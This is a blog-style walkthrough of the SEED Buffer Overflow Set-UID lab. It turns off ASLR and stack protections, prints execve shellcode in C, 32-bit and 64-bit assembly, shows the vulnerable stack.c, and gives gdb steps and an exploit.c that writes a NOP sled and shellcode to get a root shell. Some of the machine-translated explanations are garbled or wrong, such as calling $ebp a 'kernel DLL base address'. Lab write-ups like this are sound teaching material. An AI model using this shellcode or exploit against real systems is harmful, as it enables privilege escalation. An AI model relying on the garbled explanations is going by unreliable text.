Buffer Overflow Attack Lab (Set-UID Version)

Posted by Xorandnotor on Sun, 16 Jan 2022 09:54:55 +0100

Buffer Overflow Attack Lab (Set-UID Version)

Lab link: https://seedsecuritylabs.org/Labs_20.04/Software/Buffer_Overflow_Setuid/

Experimental environment: ubuntu20 04
The aim of the attack is to obtain the uid permission of the attack buffer file by using the attack buffer permission of the over set
Experimental documents: Labsetup.zip
Experimental instruction:

Environment Setup

Because contemporary operating systems have made certain countermeasures against buffer overflow attacks (reducing their possibility), these countermeasures need to be turned off in this experiment.

Address Space Randomization

Some references: ASLR
Close ASLR command:

sudo sysctl -w kernel.randomize_va_space=0

When the value is 0, the ASLR is completely closed.
When the value is 1, ASLR is partially closed. Randomize only the base address of mmap, stack and vdso pages.
When the value is 2, ASLR is fully turned on. Increase the randomization of heap on the basis of partial opening.

Configuring /bin/sh configuring / bin/sh

The instruction states that in recent versions of Dash and Bash, some security mechanisms have been implemented to prevent it from being executed in the set uid process. So we're going to switch sh from Dash to Zsh.

Install Zsh first:

sudo apt install zsh

Then connect sh to Zsh:

 sudo ln -sf /bin/zsh /bin/sh

StackGuard and non executable stack GCC provide two kinds of security protection

StackGuard:

Compiler stack protection technology in GCC
StackGuard and StackShield

It will be closed at compile time in subsequent experimental steps.

Task 1: familiarize yourself with shellcode

Three versions. Take the following code as an example.

C version shellcode

#include <stdio.h>
int main() {
char *name[2];
name[0] = "/bin/sh";
name[1] = NULL;
execve(name[0], name, NULL);
}

32-bit shellcode

; Store the command on stack
xor eax, eax
push eax
push "//sh"
push "/bin"
mov ebx, esp ; ebx --> "/bin//sh": execve()'s 1st argument
; Construct the argument array argv[]
push eax ; argv[1] = 0
push ebx ; argv[0] --> "/bin//sh"
mov ecx, esp ; ecx --> argv[]: execve()'s 2nd argument
; For environment variable
xor edx, edx ; edx = 0: execve()'s 3rd argument
; Invoke execve()
xor eax, eax ;
mov al, 0x0b ; execve()'s system call number
int 0x80

In 64 bit Ubuntu 20 An error will be encountered when compiling with gcc -m32 in the environment of - 04. The reason is that the dependency packages required by gcc to compile 32bit programs are incomplete.
Scheme: Ubuntu 64 compiles a 32 bit program using gcc -m32
resolvent:
Install dependent packages

sudo apt-get install gcc-multilib

64 bit shellcode

xor rdx, rdx ; rdx = 0: execve()'s 3rd argument
push rdx
mov rax, '/bin//sh' ; the command we want to run
push rax ;
mov rdi, rsp ; rdi --> "/bin//sh": execve()'s 1st argument
push rdx ; argv[1] = 0
push rdi ; argv[0] --> "/bin//sh"
mov rsi, rsp ; rsi --> argv[]: execve()'s 2nd argument
xor rax, rax
mov al, 0x3b ; execve()'s system call number
syscall

Task 2: Understanding the Vulnerable Program

the Vulnerable Program is as follows:

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
/* Changing this size will change the layout of the stack.
* Instructors can change this value each year, so students
* won't be able to use the solutions from the past. */
#ifndef BUF_SIZE
#define BUF_SIZE 100
#endif
int bof(char *str)
{
char buffer[BUF_SIZE];
/* The following statement has a buffer overflow problem */
strcpy(buffer, str);
return 1;
}
int main(int argc, char **argv)
{
char str[517];
FILE *badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

It can be found that in the original input, the maximum length is 517. However, in bof(), buffer has only BUF_SIZE, the default value of 100 is much lower than 517.
The strcpy() function does not check the boundary, so a buffer overflow attack is generated.

Process of attack:
This program is owned by root and has set uid permission.
This program requires the input of a badfile file, which can be controlled by ordinary users.

Compile this program

Compile around security policy

Close StackGuard and non executable stack by specifying - fno stack protector and - z execstack options during gcc.

gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-stack-protector stack.c

Set its owner to root

sudo chown root stack

Set its permission to set uid

sudo chmod 4755 stack

Note that setting the owner must precede setting permissions. Because set uid is closed when the owner is modified.

Automatic compilation through Makefile

There is a Makefile file in the code directory. You can enter make on the command line to realize automatic compilation.

make

About the relationship between make and Makefile: make and Makefile under Linux

In this experiment, there will be four parameters in Makefile, and four kinds of vulnerable programs will be generated according to these four parameters. You can modify values in makefile to achieve customization.

Task 3: Launching Attack on 32-bit Program

Prior investigation

An important point for buffer overflow attacks is the distance between the start address of the buffer and the storage return address. Through this distance, we can understand how to construct badfile to attack.

  1. b bof: set breakpoint in bof() function
  2. Run: run in gdb mode
  3. Next: execute the next sentence (strcpy(buffer,str))
  4. p $ebp: get kernel DLL base address
  5. P & buffer: get buffer address

For the EBP register in step 4, refer to: Analyze ESP register and EBP register in detail

be careful:
In gdb mode, the value of frame pointer is different from that in normal mode. Because in gdb mode, some environment data will be written to the stack before running. In normal mode, there is no such data, so the frame pointer will be larger (you may wonder why it is larger rather than smaller: in intel system, the stack grows downward (the larger the stack is, the smaller the value is, and the heap is just the opposite). You can refer to the connection of EBP above).

Launch an attack

Use an exploit C to complete the attack.

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* Fill the buffer with appropriate contents here. The length of \x90\x90 depends on the stack.c bof() buffer length. The last four property is the location of shellcode */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

You need to know the specific location of shellcode. Can pass

gdb stack
disass main

Then find the esp location and know the address location of shellcode.
Then put the last "/ x??? / x??? / x??? / x???" In?? Replace with the corresponding shellcode address.

Topics: Linux Ubuntu security